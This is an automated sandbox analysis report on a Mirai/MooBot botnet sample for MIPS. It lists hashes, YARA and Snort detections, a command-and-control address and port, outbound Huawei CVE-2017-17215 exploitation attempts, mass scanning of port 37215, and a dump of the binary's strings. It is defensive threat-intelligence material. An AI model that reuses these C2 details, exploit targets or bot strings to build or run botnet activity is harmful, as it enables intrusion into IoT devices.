Edit tour

Linux Analysis Report
skyljne.mpsl.elf

Overview

General Information

Sample name:	skyljne.mpsl.elf
Analysis ID:	1368544
MD5:	72173f51e76c6ce800c496800c117394
SHA1:	72b7380f0e26383cc8d545d56d47f3ee6c60e174
SHA256:	00f0abcfcc0c4b64f259fffba3c99a0e56d612e0ff6bc048ffd41ccf8f2ccba1
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1368544
Start date and time:	2024-01-01 16:14:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	skyljne.mpsl.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@18/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/skyljne.mpsl.elf
PID:	5478
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

skyljne.mpsl.elf (PID: 5478, Parent: 5400, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/skyljne.mpsl.elf

skyljne.mpsl.elf New Fork (PID: 5481, Parent: 5478)

skyljne.mpsl.elf New Fork (PID: 5483, Parent: 5481)

skyljne.mpsl.elf New Fork (PID: 5485, Parent: 5481)

skyljne.mpsl.elf New Fork (PID: 5486, Parent: 5481)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
skyljne.mpsl.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
skyljne.mpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
skyljne.mpsl.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x25c7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25c90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25ca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25cb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25ccc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25ce0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5478.1.00007ff660400000.00007ff66042a000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5478.1.00007ff660400000.00007ff66042a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5478.1.00007ff660400000.00007ff66042a000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x25c7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25c90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25ca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25cb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25ccc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25ce0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: skyljne.mpsl.elf PID: 5478	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: skyljne.mpsl.elf PID: 5478	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x7d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x801:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x815:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x829:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x83d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x851:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x865:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x879:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x88d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x905:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x919:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x92d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x941:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x955:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x969:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.178.235.18

Timestamp:	192.168.2.14103.178.235.1842380199902030490 01/01/24-16:15:43.179389
SID:	2030490
Source Port:	42380
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.178.235.18

Timestamp:	192.168.2.14103.178.235.1842378199902030490 01/01/24-16:15:32.406061
SID:	2030490
Source Port:	42378
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.178.235.18

Timestamp:	192.168.2.14103.178.235.1842382199902030490 01/01/24-16:15:53.950438
SID:	2030490
Source Port:	42382
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 146.148.204.184

Timestamp:	192.168.2.14146.148.204.18450314372152835222 01/01/24-16:16:00.258496
SID:	2835222
Source Port:	50314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.178.235.18

Timestamp:	192.168.2.14103.178.235.1842422199902030490 01/01/24-16:16:03.721648
SID:	2030490
Source Port:	42422
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 146.148.204.184

Timestamp:	192.168.2.14146.148.204.18450314372152829579 01/01/24-16:16:00.258496
SID:	2829579
Source Port:	50314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

String: Content-Length: /proc/proc/%d/cmdlinenetstatcurlechobin/busyboxbusybox wget/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/tmp/boot/proc/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystemcundicundi.*var/Condibin/Condibin/babylonetop1hbttop1hbt./root/dvr_gui//root/dvr_app//anko-app/902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfsoraSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsBAdAsVWordmanenotyakuzaaBelchWordnetsobpBigN0gg0r420X0102I34fofhasfhiafhoiX19I239124UIUoismXSHJEHHEIIHWOolsVNwo12DeportedDeportedXkTer0GbA1onry0v03FortniteDownLOLZY0urM0mGaypussyfartlmaojkGrAcEnIgGeRaNnYvdGkqndCOqGeoRBe6BEGuiltyCrownZEuS69s4beBsEQhdHOHO-KSNDOZEuz69sat1234aj93hJ23scanHAalie293z0k2LscanJoshoARMHellInSideayyyGangShitscanJoshoARM5HighFryb1glscanJoshoARM6IWhPyucDbJboatnetzscanJoshoARM7IuYgujeIqnbtbatrtahzexsexscanJoshoM68KJJDUHEWBBBIBscanJoshoMIPSJSDGIEVIVAVIGcKbVkzGOPascanJoshoMPSLccADscanJoshoPPCKAZEN-OIU97chickenxingsscanJoshoSH4yakuskzm8KAZEN-PO78HcleanerscanJoshoSPCKAZEN-U79OLdbeefscanJoshoX86yakuz4c24KETASHI32ddrwelperscanarm5zPnr6HpQj2Kaishi-Iz90Ydeexecscanarm6zdrtfxcgyKatrina32doCP3fVjscanarm7zxcfhuioKsif91je39scanm68kKuasadvrhelperl33t_feetl33tl33tfeetscanmipsKuasaBinsMateeQnOhRk85rscanmpslLOLHHHOHOHBUIeXK20CL12ZnyamezyQBotBladeSPOOKYhikariwasherep4029x91xx32uhj4gbejhwizardzhra.outboatnetdbgcondiheroshimaskid.dbglzrdPownedSecurity69.aresfxlyazsxhyUNSTABLEunstable_is_the_story_of_the_universemoobotjnsd9sdoilayourmomgaeissdfjiougsiojOasisSEGRJIJHFVNHSNHEIHFOSapep999KOWAI-BAdAsVKOWAI-SADjHKipU7Ylairdropmalwareyour_verry_fucking_gayBig-Bro-Brightsefaexecshirololieagle.For-Gai-Mezy0x6axNLcloqkisvspookymythSwergjmioGKILLEJW(IU(JIWERGFJGJWJRGHetrhwewrtheIuFdKssCxzjSDFJIjioOnrYoXd666ewrtkjokethajbdf89wu823AAaasrdgsWsGA4@F6FGhostWuzHere666BOGOMIPSbeastmodedvrHelperbestmodesfc6aJfIuYDemon.xeno-is-godICY-P-0ODIJgSHUIHIfhwrgLhu87VhvQPzlunadakuexecbinTaco

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:42378 -> 103.178.235.18:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:42380 -> 103.178.235.18:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:42382 -> 103.178.235.18:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50314 -> 146.148.204.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50314 -> 146.148.204.184:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:42422 -> 103.178.235.18:19990

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 197.225.58.88 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 59220
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 34022
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 46014

Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 162.64.42.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.243.14.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.184.209.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.235.234.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.206.5.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.22.26.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.17.207.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.185.93.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 49.224.108.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.251.149.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.182.155.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 189.162.97.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.43.253.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 176.196.102.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.182.95.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.76.31.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 175.61.213.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.179.199.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 39.0.144.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.208.250.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.201.38.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 44.195.94.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.215.155.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 166.81.53.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 113.223.37.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.103.14.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.222.83.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.39.16.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.206.100.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.12.204.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 87.129.193.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 99.195.209.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.215.103.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.130.1.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.101.215.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.86.56.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.110.106.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.35.119.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.249.219.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.149.27.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 75.151.81.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.208.197.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 4.160.10.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.98.225.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 129.121.134.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.162.203.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.235.179.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.251.63.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.141.201.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 188.120.173.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 8.241.25.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.126.57.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.230.34.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.10.60.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.40.81.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 161.34.29.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.6.146.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.96.154.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.71.6.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.188.183.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.171.195.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.165.62.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.44.245.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.252.196.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.51.9.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.38.35.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.28.217.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 39.172.233.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.215.238.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.86.27.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.48.39.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.163.112.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.199.239.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.1.129.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.9.64.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.188.237.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.12.35.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 213.22.100.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.26.247.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 41.253.204.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 157.121.42.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 197.130.118.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:20845 -> 94.184.234.108:37215
